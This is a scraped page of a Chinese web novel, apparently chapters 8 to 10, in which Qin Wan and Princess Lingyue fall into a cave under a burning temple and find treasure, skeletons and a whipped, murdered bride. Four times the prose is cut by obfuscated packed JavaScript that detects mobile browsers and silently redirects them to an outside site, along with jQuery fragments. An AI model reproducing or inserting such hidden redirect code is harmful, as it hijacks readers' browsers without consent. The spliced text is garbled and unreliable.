“宝儿!宝儿!我的宝儿还在里面!”秦母发丝凌乱,整个人仿佛失了魂魄,一边喊着一边就要往里面冲,却被身旁的宫女紧紧拦住。 “夫人,侍卫都已在救火,现在火势太大,您不能进去,会有危险的!”此次祈福,应静妃娘娘诚信礼佛的要求,各位夫人贵女都没有带丫鬟随从,看着眼前这个眼生的宫女,秦母下意识紧紧的抓着她的手,声音颤抖,“可是我女儿还在里面啊!我女儿!她还那么小!她甚至还受着伤呢!求求你们,快去救救她啊!”。 突然,秦母感觉脖颈一痛,眼前一黑,便浑身失去力气倒在了宫女的怀里。 “诸位莫慌!消息已经传下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029403|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了,外面很快就会派人护送各位下山”,无尘站在一个偏僻的房间内温和的看着惊慌失措的众人,“不过青云山地处偏僻,上山恐怕要些时间,诸位请先用些茶水,去去惊”。 一个年纪稍小的小姐眼睛又圆又亮,坐在母亲怀里看向无尘,“大师,我看见屋子里好像有两个姐姐还没有出来”。 稚嫩的童音一出,原本还抱怨吵嚷的屋内一片寂静,谁都知道,火势如此之大,八成怕是出不来了。 无尘眸子一闪,走到女孩面前,从怀里掏出一个方巾叠成了鹤的样子,轻轻放到了女孩的掌心,“不要担心,如今都在救她们,佛祖保佑,定会平安无事的”。 “永宁郡主好像就在......就在里面” 一个微弱的女声从人群中传出,众人不语,各有所想,怕是真的要变天了。 “够了!” 静妃重重的拍了下桌子,眼睛里闪过一丝不耐烦,“快去看看救援的人到哪里了,天快要黑了,下山就更难了”。 无尘点点头,合上门退了出去。 灼热的疼痛从肩膀处不断传来,秦婉死死咬住嘴唇,一个跨步跃入香烛台的后方。 “手给我!” 四处的火越窜越高,凌月站在原地,脸上都是泪水。眼见头顶上方的佛像就要砸在身上了,也顾不得许多,立刻紧紧抓住秦婉的手。 “砰!” 金身佛像狠狠地砸向了地面,溅起了无数正在燃烧的火星木块。 秦婉一把抱起凌月,眼睛扫过头顶上方不断掉落的木块,更糟糕的是,在这个巨大佛像的巨大冲击力下,整座大殿怕是马上就要烧倒了。 对不起了系统,我食言了,真的要干涉主剧情了。 秦婉心里默念着对不起,下一瞬头顶上方的整根梁柱便直直的砸了下来。 秦婉抱着凌月,深深的吸了一口气,对着怀里的凌月笑了下,“没事,闭上眼睛”。 凌月点点头,一只手揽着秦婉的脖颈,一只手紧紧捂住自己想要尖叫的嘴,紧紧闭上了双眼。 燃烧着的梁柱掉下来的瞬间,秦婉脚尖一动,抱着凌月便跳进了佛像倒下后露出来的深深的大坑。 “啊啊啊啊啊啊啊” 失控的速度往下坠落,两人浑身紧绷,显然都怕到了极致,秦婉死死咬住唇,看着四处的黑暗想要伺机抓住什么东西控制落下的速度。凌月娇生惯养长大,从未遇到过这样的事情,现下虽然捂住了嘴巴,仍然是控制不住的大叫了起来。 终于从凹凸不平的墙上扣到一些些微凸起的地方,秦婉使劲抓住,但是很快凸起的石块又松动掉落了,就这么反复抓扣,终于是把降落的速度减轻了不少。 “砰!” 不知过了多久,两人终于重重的掉到了地上。 凌月听着身下女子的一声闷哼连忙起身爬开,想要查看她的伤势,手却从旁边似乎摸到了什么,拿起仔细一看,立刻吓得扔掉尖叫起来。 咕噜咕噜正巧滚到了洞口的地方。 微光之下,娇小的人头白骨上还化着时下京城最为流行的桃花妆。 8. 嫁衣 “你......你怎么样啊?你......你快醒醒啊!这里,这里是哪里啊......呜呜呜快来人救命啊,我不想死在这里呜呜呜” 凌月紧紧贴着秦婉蜷缩起身子,纤细的手指死死掐进皮肉,用力地指尖都泛起了白色,大颗大颗的泪珠从脸上滑落到身下的土里。 虽然阿娘出身不好,在王府里没有其他几个哥哥姐姐受宠,但是前面十几年也算是金尊玉贵的长大,根本就没有遇到过这样的境况。微光下,她看着眼前浑身渗血的女子根本不敢动她,生怕自己的动作一不小心又加重了她的伤势,只能强压下自己的恐惧一遍遍试图把她叫醒。 剧烈的阵痛让视野逐渐模糊,血色浸透衣衫,磨破的指尖也开始发冷,秦婉感觉浑身上下都疼得不行,好不容易勉强直起上半身,刚想说话却喷出了一口血。 凌月见秦婉有了反应连忙凑到她面前,轻轻扶住她,声音哽咽又委屈,“你受了好多伤,到处都是血,我......我怎么叫你你都不醒,吓死我了”。 “咳咳咳我没事的” 秦婉生生咽下喉咙又翻起的一口血,努力抬起手慢慢握住了她的手。面前满脸泪水的凌月终于放下心来,又哭又笑,紧紧抱住秦婉,“呜呜呜吓死我了!你真的吓死我了!如果咳咳如果为了救我,让你丢了命,我......我一辈子都不会好过的呜呜呜”。 秦婉一边轻轻拍了拍凌月的肩膀安抚她,一边看向在脑海里正闭着眼睛躺着一动不动,仿佛入定了的006认真的说,“谢谢你啊系统”。 006翻了个身,睁开眼睛看向秦婉,平静发问,“谢我什么?” “如果不是你的话,我现在肯定半噶不噶了,毕竟这么高跳下来,怀里还抱着一个人,现在才受这么点伤,牛顿来了都得摇头哈哈哈” 秦婉有意想要逗006开心,没想到006一窜几米高,直接化身暴躁的大恐龙,脑袋好像都在冒火,“你还知道?!那你去救她干嘛?!你不要命了吗?你不是最惜命的吗!我知道你来是为了保护刘芸芸,毕竟作为原身母亲,她照顾了你很多,舍不得很正常。那她呢?你之前根本就不认识她!”。 006突然飘到了她的面前,一脸认真探究的看着她,“在原剧情里她现在就应该死在大殿里面了,你为什么要干涉剧情去救她?甚至还直接快进到了下一个剧情点,进入了这里!” 身处幽暗,满身的灰土血迹,素衣染成了血衣,秦婉的眼睛却仍是亮闪闪的,仿佛黑夜中的点点萤光。秦婉没有回避006的眼睛,看着它认真的说,“因为我想救我自己” “什......什么?” “因为我知道按照剧情,她快要死了,而她又是无辜的,如果在我的面前,我真的眼睁睁的看着她被砸死、不去救她,那往后日日夜夜回想起来,良心折磨,我都不会原谅我自己” 006沉默了几秒,看向一脸认真的秦婉,“......你还真把自己当女侠了?后面还有那么多无辜的人,你救不过来的” “我知道,但是能救一个是一个,而且说到底我也自私得很,做这些也只是为了自己的心安,当然你放心系统,我一定努力不影响后续剧情的开展的”。 006挑眉,看着秦婉突然灵光一闪,凑近她道,“那不然我把你在剧本中的死亡节点往后挪,这样你就可以跟着主角团时间更久一些,还能更好的帮我看着主剧情不要偏移” “啊?可是这......”秦婉一脸呆萌,眼睛里是满满的诧异。 “别这啊那的了,就这么说定了,拜拜啊我都困了”006说着就又趴在地面上不动了。 凌月在秦婉怀里哭了许久,再垂眼看到她满身的血迹这才想起来她还是身受重伤呢,立刻又起身一脸小心的看着她,“你......你没事吧,不好意思啊我......” 秦婉还想和系统说什么就被凌月打断,回神看着她,“啊我没事的,就是流的血多,看着吓人而已”。 “那就好那就好”凌月捏了捏自己的手心,站起身刚走两步仿佛又被什么东西绊住了脚,一下子摔倒在地上。 “气死我了,什么东西啊!”凌月拿起来仔细的看,隐约看到仿佛是红色的衣裙,上面还用着金线绣着什么图案。 秦婉见凌月看清后一脸惊诧的表情,一边伸手拉她起来,一边疑惑的看向她手里的一团阴影,“这是什么东西?” 凌月坐到秦婉身边,将手中的红色衣裙递了过来,正好放在从上方洞口映射出来的微光之下,拧着眉头看着上面用金丝线绣成的东西,想说什么又紧紧抿起唇。 “这是......嫁衣?这上面绣着的是什么花吗?” 大红色的衣裙腰带上面赫然绣着一对鸳鸯,秦婉又仔细的看了看,觉得嫁衣上面还有金线绣成的仿佛是什么花,但又不像是平日里见过的牡丹花、杜鹃花,便又伸手轻轻摸了摸,这时突然耳边传来一道声音 “乌针沙棠” 秦婉抬头,就看见凌月死死咬着唇,眼神复杂的看着被金线刺绣缠绕的红色嫁衣。 凌月松开唇,细嫩的唇角已然渗出了血迹,秦月仿佛没有感受到痛意,抬眼认真的看向秦婉,“这花叫乌针沙棠” 秦婉没有说话,静静的看着凌月,伸手轻轻扶住她剧烈起伏的身体。 凌月颤抖着深深吸了口气,强行压下心中剧烈翻滚的情绪,哑声道,“乌针沙棠是我阿娘家乡障目特有的花,这种花生性顽强又娇弱,能自由生长在环境恶劣的乌针江旁,却在水土温润的京城存活不了”。 原书里并没有这一段剧情,秦婉不知道这花具体代表着什么,但是看凌月激动的神色也明白,这花对她而言意义非凡。 “但是......但是十年前障目就已经没了啊,怎么还会有......” 意外的信息,秦婉有点不可思议,“什么叫没了?障目不是个地方吗?” “障目是苍云山脚下的一个小镇子,依乌针江江边而立,虽说位置偏远气候多变,比不上这京城,但是镇子里的老人们都很长寿的,像我太婆就活到了90多岁呢”,像是回到了小时候阿娘带自己回去的时光,凌月的脸上露出了满足的微笑,但是下一秒,仿佛又想起了什么恐怖的事情,面色惊恐,“但是... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029404|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...但是后来不知怎么了,山神发怒,从山中滚落了无数的大石砸毁了整个障目”。 秦婉轻轻拍了拍凌月止不住颤抖的脊背,“这个......你是听你阿娘说的吗?” “不是,是我父王” 又是意料之外的回答,秦婉看向似乎好了一点点的凌月,凌月直起身复杂的看向她。 “我和阿娘回京之后父王说的,就在我和我阿娘探亲回来之后的第二天,落石就砸毁了整个小镇,如果我们晚一点回来,怕是也会死在那里”。 秦婉心里有了不好的猜测,抿了抿唇,“那你们......后面有回去看过吗?” 凌月摇摇头,“京城去障目的路程实在是太远了,我当时还太小,身体又不好,实在没有办法再回去,但是阿娘当时就让父王派人连夜带她回去看了” “那你......你阿娘回来有和你说什么吗?”,秦婉放轻了语气。 凌月又摇了摇头,纤细的手指轻轻拂过嫁衣上面的花,眼睛里满是伤感,“没有,阿娘回来就伤心极了,身体很不好,每日咳血还要念经拜佛,平日里也不再理会任何人,就连我去找她她也不理。后来父王在王府里特意修建了一个小庙,阿娘搬进去之后,就再也不出来,也不愿意见任何人”。 秦婉轻轻握住凌月的手,认真的看着她,“这些话你有和别人说过吗?” 凌月想了想,“没有,王府里的人都觉得我阿娘身份卑贱,不配做父王的侧妃,虽然大家表面上和我客气,但是私底下却一句话都不愿意和我多说,包括王妃都不让我叫她母妃……不过没人整日约束着我,我一个人也乐得自在”。 秦婉摸了摸凌月的脑袋,“看你身上的衣物都是精心挑选的,发髻上簪子坠的明珠,看样子成色也都是最最上乘的,想必也没有人敢给你脸色看” 凌月一下子坐起身,傲娇的摸了摸发簪上坠着的明珠,“他们敢!虽然其他人对我一般,但是我父王对我可好了,从小我身体不好就专门去宫中请御医来给我瞧!御医!御医哦!” 眼睛转了转,凌月又坐起身,“而且我父王还特意和圣上请旨,封我为郡主呢!对了,说了半天我了,你叫什么名字啊?” “永宁郡主,我叫秦婉”秦婉微微笑了起来。 凌月故作高深的点点头,用指尖挑起秦婉的下巴,“秦婉是吧,好,等出去了,我让父王给你赏赐点......什么呢?算了,你想要什么直接和我说吧” “银子” “啊?你怎么这么......,我还以为你会像画本子里的那样,一脸正气的拒绝我说,我什么都不要呢” “怎么会呀,哈哈哈我又不傻” 微光打在身上,两人笑作一团,玩闹间突然秦婉的手像是摸到了什么,拿起来一看,正是之前吓得凌月尖叫的化着桃花妆的骷颅头。 凌月一见到又要尖叫起来,秦婉一把捂住她的嘴,还没来得及说话,只听隐约的声音传来,“里面怎么好像还有......活人?”。 两人立刻躲在更幽暗处蜷缩成一团,秦婉紧紧抱住凌月,眼睛看向传来声音的方向。 9. 案中案 这个时间点,主角团应该已经赶到锦华寺了,看来刚刚传来的声音大概率就是主角团的声音。 按照原著,大火会烧毁整座大殿。主角团会在发现永宁郡主被烧死在大殿后,为了挖出郡主尸体,仔细的检查火灾后的每一个细节、每一片土地。不料,在勘验现场的时候,遭人暗算,全都坠入佛像下的洞穴之内。 谁又能想到呢,金身佛像之下,竟是巨大的无底魔窟,魔窟内掩埋着数不清的金银珠宝。 第一个案件真的要来了,秦婉用力吸了吸气,抬眼看向黑黢黢的四周,仿佛都看见了黑影下闪烁着的无数金光。 “嘶” 秦婉突然感觉自己的手臂被人死死的抓住,一回头就看见凌月死死的咬着牙,眼眶通红的看着她,大颗大颗的泪珠不断从眼睛里滑落,砸进脚下的泥土里。 “怎么了?” 秦婉压低声音,眼神疑惑,明明记得原著里洞中并没有其他的危险,只要等主角来,然后想办法一起出去就好的。 凌月没有说话,眼睛向后看,秦婉顺着她的眼神看过去,立刻倒吸了一口凉气。 狭小的壁石下、暗褐色的泥土中赫然躺着一个人! 尽管身上盖着淡淡的薄土,但细细看去,明显能看出,这是一个嫁衣破碎、浑身流血的新娘! 秦婉的心脏陡然剧烈的跳动起来,为什么,为什么剧情又有了新的变化! 这个人是谁?为什么会在这里? 而且第一个案件明明是贪墨案!怎么会在藏宝的地方出现死人! 秦婉死死咬着牙,感觉自己整个人都在颤抖,牙口酸涩,头昏脑涨,本来就疼痛的脑子现在仿佛又有无数的针在细细密密的扎,扎得她简直立刻就要昏迷晕倒过去。 难道整个剧情走向都会朝着她不可想象、不可控制的方向去发展吗,再或者说,难道这就是系统所说的分支剧情?一个案件实际并不只是一个案件,而是案中案吗?! “秦婉,她......她身上穿着的......就是绣着乌针沙棠的嫁衣,她居然是......是障目人” 秦婉思绪更为混乱,看着凌月松开了紧紧抱着她的手,流着泪爬过去,抬起颤抖的手轻轻拂去新娘脸上的灰土。 秦婉猛地摇摇脑袋,也跟着爬过去,轻轻抬手放到新娘鼻息下,果然,早已没有了呼吸。 但是,秦婉轻轻捻了捻破碎嫁衣上的血迹,竟还未干涸,想必也只是在她们坠落前不久才刚刚殒命。 少女面容姣好,脸上没有伤疤,精致的桃花妆上只有浅浅的灰土,没有水迹和泪痕。 然而颈下又是另外一幅惨不忍睹的场面,破碎的嫁衣遮掩不住身体,显现出无数青紫交错的伤痕,数道深可见骨的鞭痕像是附身吸血的藤蔓紧紧缠绕着整个身体,从肩膀一直蔓延到小腿,像是热油倾倒进了火热的油锅里,鞭痕又深又杂,鞭打的鞭子上仿佛都长着无数的倒刺,一甩一抽都会拔出无数血肉,细腻白嫩的肌肤变得皮开肉绽、血肉模糊。 光是看着就隐隐约约能猜测到少女生前有过多么惨无人道的遭遇,秦婉深深吸了一口气,强忍着内心翻滚的情绪,脱下沾满鲜血的外袍轻轻盖在少女的身上。 砰! 身旁的凌月短短的一天之内情绪又喜又悲,变动极大,惊惧伤困之下,竟然一瞬间手脚发软,眼前发黑,直接栽倒在了地上。 秦婉刚想弯腰扶凌月,却眼前一黑,脚步不稳,快要摔倒,看来真的是失血过多了,如今一死、一昏迷、一受伤,应该如何出去呢? 秦婉勉强稳住要栽倒的脚步,抬眼只见前方洞口处突然掉落下几道黑影。 “秦姑娘?” “婉婉?” 稳住身形几人落到地面的一瞬间,便都同时看了过来,看见浑身是血的秦婉,几人的脸上都出现了不同程度的惊诧。 终于,主角团终于来了。 无数的压力惊惧之下,秦婉手脚发软,眼见又要摔倒,几人都冲了过来。 裴渡的身影最快,一个闪身来到秦婉身边,双手扶住秦婉的肩膀,眼睛里闪过无数的情绪,一边解下外袍给秦婉披上,一边开口,“你受伤了?” 秦婉深深地吸了一口气,摇摇头,手指了指凌月,“我没事,郡主刚刚晕倒了,情况恐怕不太好”。 沈清清点点头,担忧的看了看秦婉,见她虽然面色苍白、浑身血迹,但精神勉强还好,便抬脚走向了凌月,先仔细查看她的情况。 “婉婉,你......你怎么受了这么重的伤啊?”叶宁快步上前一把将秦婉从裴渡的怀中抢过,轻轻搂住她,眼里是满满的心疼,片刻突然从怀里摸出一个锦囊,又单手从锦囊中拿出了一个浅黄色的药丸。 “婉婉,你吃这个吧,我师父给我的,是治愈内伤的奇药”,叶宁说着就要往秦婉嘴里塞,却被身旁突然伸出的一只手止住了动作。 叶宁转头就看到一脸面无表情的裴渡,撇撇嘴,眼前这张脸真是越看越欠扁,现在虽然还打不过他,但迟早要狠狠锤他一顿,叶宁翻了个白眼,“你有事吗?”。 “你师父给你的你自己收着吧,我徒弟自然有她师父给的药” 裴渡从袖间拿出一个白色的锦囊,从其中取出一枚玉白色的药丸放到了秦婉的手心。 叶宁看见药丸的一瞬间瞪大了双眼,“不是吧,回魂丸?!传说在人濒死之际能带来一线生机的药丸?!” 秦婉听着叶宁的描述默默咽了咽口水,抬眼对上裴渡无波无澜的眼神更是头皮发麻,“呃......其实我真的还好,只是看上去比较严重,不用吃这些,等出去后包扎了伤口再多喝两份补汤就好了”。 然而话音未落,手心一轻,紧接着一个圆滚滚的东西就直接飞入口中,秦婉忍不住咳嗽两下,药丸便直接划入喉咙进入了胃里。 裴渡对上秦婉惊异的表情,微微勾起唇角,“不用谢,毕竟为师可不是什么装模作样的人,最爱做的就是以德报怨,心地就是这么的善良”。 “......” 裴渡看着秦婉通红的耳根,眼底的笑意更甚。 “对了,这边有一个离世不久的少女” 秦婉扭过头,看向角落里平躺着、披着自己外袍的少女新娘。 众人顺着她的眼神看过去,神色复杂。 “裴兄,这边.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029405|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ..这边有很多......” 刚刚一进来,见众人都围了上去,便在四处勘察的凌霄突然声音滞涩。 裴渡低头看叶宁和秦婉正蹲着身子查看少女的情况,便揉揉眉心抬脚走向凌霄出声的方向,“怎么了?”。 弯腰从凌霄劈开的土壁内走进去,一抬头,便见空旷的洞穴里从前到后,像是棋盘上的棋子一般,纵横有序的摆满了架子,每一个架子从上到下都有七层,每一层的架子上都整整齐齐的摆满了大大的箱子。 整个洞穴金光闪闪,四处摆放的烛台被凌霄点亮,只见洞穴内的正中央处还摆放着一个镶金的大玉盘,硕大的玉盘中央还摆放着一棵做工精细的盛放的红玛瑙树,晶莹剔透、枝丫蔓延、树叶繁茂,贵重非凡、大得怪异,仿佛是渗血的毒株,而这旁边所有的金银财宝则是它结出的果实。 凌霄贵为皇子都鲜少见过如此多的财宝,抬眼复杂的看向裴渡,“此事背后......恐怕会牵扯众多......”。 后面的话凌霄没有说完,两人却都心知肚明,这样的财富、这样的场景,不是普通官宦人家或是富商人家能有的,再联想起京中最近频频失窃灭门之案,这背后必定牵扯众多。 “她没事,只有些擦伤,如今惊惧过度,好好休息,等出去了我再给她用药” 沈清清细细查看凌月的情况后,喂了她一枚药丸,才终于放下心来,转头走向秦婉和叶宁。 “死者伤势惨重,尤其是鞭伤,刮去皮肉、深可见骨”,沈清清只是看了两眼躺在地上的新娘便紧紧皱起了眉,“伤痕有点怪异,新伤叠着旧伤,像是.......”,沈清清抿起唇,没有再开口。 “像是每次鞭打后便上药,伤口即将愈合便又再次鞭打,重返往复,日日不断;力道不一,恐怕施暴之人,也不止一个”秦婉出神的看着少女肌肤上翻出新老不一的皮肉,像是穿梭到了少女遭受毒打凌虐的场景,整个人都深感其痛,接话的时候更是痛到了骨髓里。 叶宁瞬间暴跳起身,泪水忍不住翻涌而下,声音都忍不住的颤抖,“这世间竟然......竟然会有这么残忍的人!究竟是什么样的恶魔,才能下此毒手!”。 沈清清和秦婉对视一眼,眼眶俱是通红,心下都有了同样的猜想,异口同声,“恐怕还有很多因此而死的人”。 叶宁怔愣住了,回头呆呆的看着她们,脸上还挂着泪珠,眼神迷惘仿佛理解不了她们的话,“什么意思?”。 “每一道新伤口都落在即将愈合的旧伤口上,甚至是按照人体骨骼的轮廓在鞭打,她身上的每一道鞭痕都没有错落,凶手若不是专门对此有过研究,就是在此之前早已鞭打打死过无数人了”。沈清清眼神落在少女青紫交错、满是伤痕的身体上,表情哀默。 “这里还有白骨和嫁衣,很可能就是之前被扔进来的少女”,秦婉指了指角落,这究竟是个什么地方,红颜白骨一墙之隔便是价值连城的黄金珠宝,真的是名副其实的魔窟。 啪嗒! 秦父手中的茶盏碎裂在地上,温热的茶水全部撒在了身上却浑然不顾,双目欲裂,声音嘶哑,“你说什么?什么叫宝儿没能回来!” 10. 吟唱 门外夜色渐浓,黑压压的让人莫名有一种不安的感觉,一阵阴风吹来直让人感觉浑身冰凉,整个人都在发冷。 站立着的采荷眼眶通红,泪如雨下,声音哽咽,“说小姐被大火困在了大殿里,大殿坍塌,现在大理寺已派人去寻了”。 秦父身子止不住的颤抖,整个人都要往前栽倒,却仍然要往门外走,“怎么会回不来呢?一定是我没去接她闹脾气了,我......我现在就去,现在就去接她回来,宝儿等着爹爹” 心跳得飞快,脚下踉跄,仍旧坚持摇摇晃晃的大步往门外走,走到门口却忽然眼前一黑,即将摔倒之际,小厮丫鬟们一拥而上,将急火攻心昏迷的秦父送往了房间。 采荷红着眼眶,双手紧紧的握在一起,大颗大颗的泪珠随风飘落,死死咬着唇,“上天保佑,求上天保佑,我家小姐一定一定要平安无事”。 无边的冷意从骨子里渗了进来,秦婉忍不住打了个寒颤,看着满室的金光璀璨,脑海里却不断浮现出凌月的话: 苍云山、障目、坍塌、嫁衣、乌针沙棠、少女、障目人 迷雾之中仿佛出现了一根若有若无的细线,将这一桩桩事件串联了起来,但好像又遗漏了什么。 秦婉伸手揉了揉太阳穴,轻轻叹了一口气,看来要搞清楚的事情还有很多很多。 “快看!这里有个洞口!” 秦婉闻声抬头,就见幽暗的洞穴之内,叶宁一身红衣、双手执刀,站在一个头顶略有微光的洞口处,淡淡的月光从洞口撒了进来。 剧情又出现了偏移,明明原著里说的是主角团从金银珠宝后的暗门出去的,现在为什么又出现了一个出口! 秦婉不自觉咬了咬嘴里的软肉,手指紧紧攥着裙摆。 “这里有暗门!” 身后凌霄的声音仿佛是救命稻草,秦婉暗暗松了一口气,浑身的紧绷都放松了一些,好在,主剧情还没有偏移,看来上方那个洞口涉及到的应该就是分支剧情。 “你好像并不意外?” 耳边肌肤忽然感受到一股清浅温热的气息,秦婉侧了侧身,下意识退了两步,抬头就看见身旁的裴渡眉头轻挑,嘴角是一抹纯净如新雪般的笑,眼神温和如冬日暖阳,然而看过来时却没有一丝温度。 “秦婉,你的秘密真的很多,我真的......越来越好奇了” 裴渡走近两步,抬手将秦婉困在自己和石壁之间,站在她身前,轻轻低笑了两声。 秦婉抿着唇,粘着细灰尘土的白净脸上,又黑又亮的眼珠如山间小鹿一般灵动不已,咕噜咕噜的转,看起来是又在想什么乱七八糟的借口好来敷衍自己了。 “我当然不意外啦!毕竟大家都这么厉害,找到出口一定轻而易举,更重要的是还有你嘛,我......” 秦婉话音未落,裴渡就抬手捂住了她的嘴,微蹙着眉,眼里划过淡淡的无奈,“好了,保存点体力吧”。 秦婉被捂着嘴巴,弯弯的笑眼里流露出一丝果然如此的意味,连连点头,示意他快点松开手。 裴渡看不得秦婉得意的样子,松开手的一瞬间又用力捏了捏秦婉的脸颊,留下了两道红红的手指压痕。 “啊!你!” 秦婉捂着腮帮,亮晶晶的眼睛里是满满的控诉。 看着她炸毛的样子,裴渡真情实意的笑了起来,深冰逢春,消解融化,整个人看起来柔和了不少,一身白衣更衬得他像是一只软乎乎的小白狼,长毛舒展,笑得前仰后合的。 “这边有两个出口,我们从哪边走?” 凌霄仔细的查看了两个出口的情况,几人商量了下,还是选择从暗门出去。 秦婉长长的舒了一口气,好在,剧情正常展开了。 只不过,秦婉走进看向上方狭窄的出口,狭窄逼仄,杂草丛生,看上去勉强一次也只能够通过一个消瘦矮小的身体,这个入口不像是专门留的,倒像是后面被人硬生生的从里面开辟了出去的。 叶宁站在靠近狭窄洞口的地方,身体在轻轻摇晃,脑袋却还使劲向外面看,秦婉站在旁边扶着她的身体,有点诧异,“不是说从暗门走吗?你在看什么?” 叶宁屏息没说话又仔细的听了听,确认外面确实没什么动静了,才低下头皱着眉看着秦婉,“我刚刚好像听到外面有什么声音,但是现在没有了” 叶宁爬了下来,秦婉顺着她踩过的地方攀爬了上去,现在天色已经全黑了,外面只能看到淡淡的月光和成片成片的幽暗,想来应该就是外面的树木杂草,仔细听了一会儿,除了阵阵风声,好像确实没有什么声音。 “我来吧” 沈清清正尝试着将地上昏迷的凌月背到身上,就感觉肩膀上重量忽然一轻,再抬头就见凌霄一身暗红色的官袍,背上正背着凌月,站在自己面前正正的看着自己。 “走吧,沈姑娘” 凌霄见沈清清还没反应过来,俊朗的脸上闪过一丝笑意,刚想开口却忽然听到了外面传来的一阵声音,夹杂着不知何地的戏腔,正低低的吟唱着: 金身菩萨裹红袍,白面新娘桃花妆。 不知魔窟藏宝藏,红颜枯骨在一屋。 难为情郎真有情,埋了来处无归处。 孤魂野鬼飘山间,烂命竟能直比仙。 寂静的山野间,稚嫩的童声反反复复的低声吟唱着,伴随着竹林簌簌声和压抑的哭声,在山野间来回飘荡,让人浑身发冷。 幽暗的夜色中,几人对视了几眼,同时看向了头顶上方狭窄的小洞口。 离洞口最近的秦婉默默吞了吞口水,低头神色莫测,看向叶宁,叶宁正一边低着头细细思索着唱词中的含义,一边轻轻扶着她的的腿。 秦婉咬唇,腿部用力一下子将叶宁甩向了几步之外、几人站立着的方向,叶宁猝不及防即将摔倒在地,却被身后的沈清清和裴渡一起扶住。 秦婉看到叶宁被两人扶住,这才松了口气,收回眼神时和裴渡对上,两人眼神交错,电光火石之间,裴渡眼眸一闪,立刻就要向秦婉闪身过来,却不想,秦婉朝他轻轻摇了摇头,紧紧咬着的唇松开,向他们做了个口型,“先出去再救我”。 叶宁一下子被推开正一脸错愕,抬头刚看清秦婉的口型,就见秦婉仿佛被什么东西缠住了身体,一下子从洞口被直直的拉了出去。 叶宁瞳孔放大,正要上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041092|194515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却被沈清清抱住了腰,捂住了嘴。 “洞口狭窄,不借助外力难以出去,何况不知道外面情况如何,我们先从暗门出去,再想办法去救婉婉” 沈清清刻意压低声音,附在叶宁耳边小声说,叶宁立刻点点头,几人转身迅速走向藏在金银珠宝后方的暗门。 秦婉被一下子拽到地面上,只感觉自己整个人都被勒的喘不过气了,双手死死的向下扒拉着脖子上紧紧缠绕着的带子。 “快点松开她,她要被......” 那人话音未落,只听撕拉一声,秦婉手里的带子被撕碎成了几半,秦婉瘫倒在地,忍不住连声咳嗽起来。 缓了一会儿,秦婉才有力气坐起身看向乌黑的四周,幽幽月光下,只见身前站着两个人,俱是披散着乌黑的长发,脸色煞白,像是索命的“女鬼”,偏偏两个“女鬼”脸上还带着一脸的红妆,穿着一身嫁衣。年纪大一些的约莫也就十四五岁的样子,年纪小一些的最多不过十一二岁。 以前大晚上都不敢看这样的鬼片,现在却直接身临现场,真是要命了。 秦婉心跳得飞快,下意识捏紧了瞬间从袖间滑落到掌心的红发带,脸上却笑了起来,嘴角两个小酒窝若隐若现,月光下的眼睛水灵灵的,显得整个人都纯真无害,像是在夜间山路里不慎迷失方向的小白兔。 “二位姑娘,不知道这里是什么地方?” 年纪大一些的没说话,只是皱着眉紧紧盯着她,手下意识捏紧了手里的裙摆,而年纪小一些的却歪了歪头,看向她的怀里,眼睛里盛满了疑惑。 秦婉低头,顺着她的视线从怀里扯出了一条红色的嫁衣,这个是之前在洞穴里面发现的,她想着可以带出去好好研究一下出处的。 穿着嫁衣的两人见到她手里的红色嫁衣仿佛稍微放下了一些警惕,两人牵着手走过来,蹲在她的面前。 月光幽暗,离得近了秦婉这才看清她们身上穿着的嫁衣竟然就和自己手里的嫁衣是一模一样的! “乌针沙棠?” 秦婉看着她们身上的红色嫁衣金线勾勒着的花朵忍不住喃喃开口。 “......你知道?” 年纪大一些的有点不可思议的看向秦婉,只见她一脸复杂神色。 年纪小的见状便松开了年纪大一些姑娘的手,抬手轻轻摸索起秦婉手中的嫁衣,不一会儿再抬眼,小小的眼眶里已是满满的泪水,大颗大颗的顺着小小的脸颊滑落。 “清荷姐姐,这上面绣着:如音......这是海棠姐姐的嫁衣” 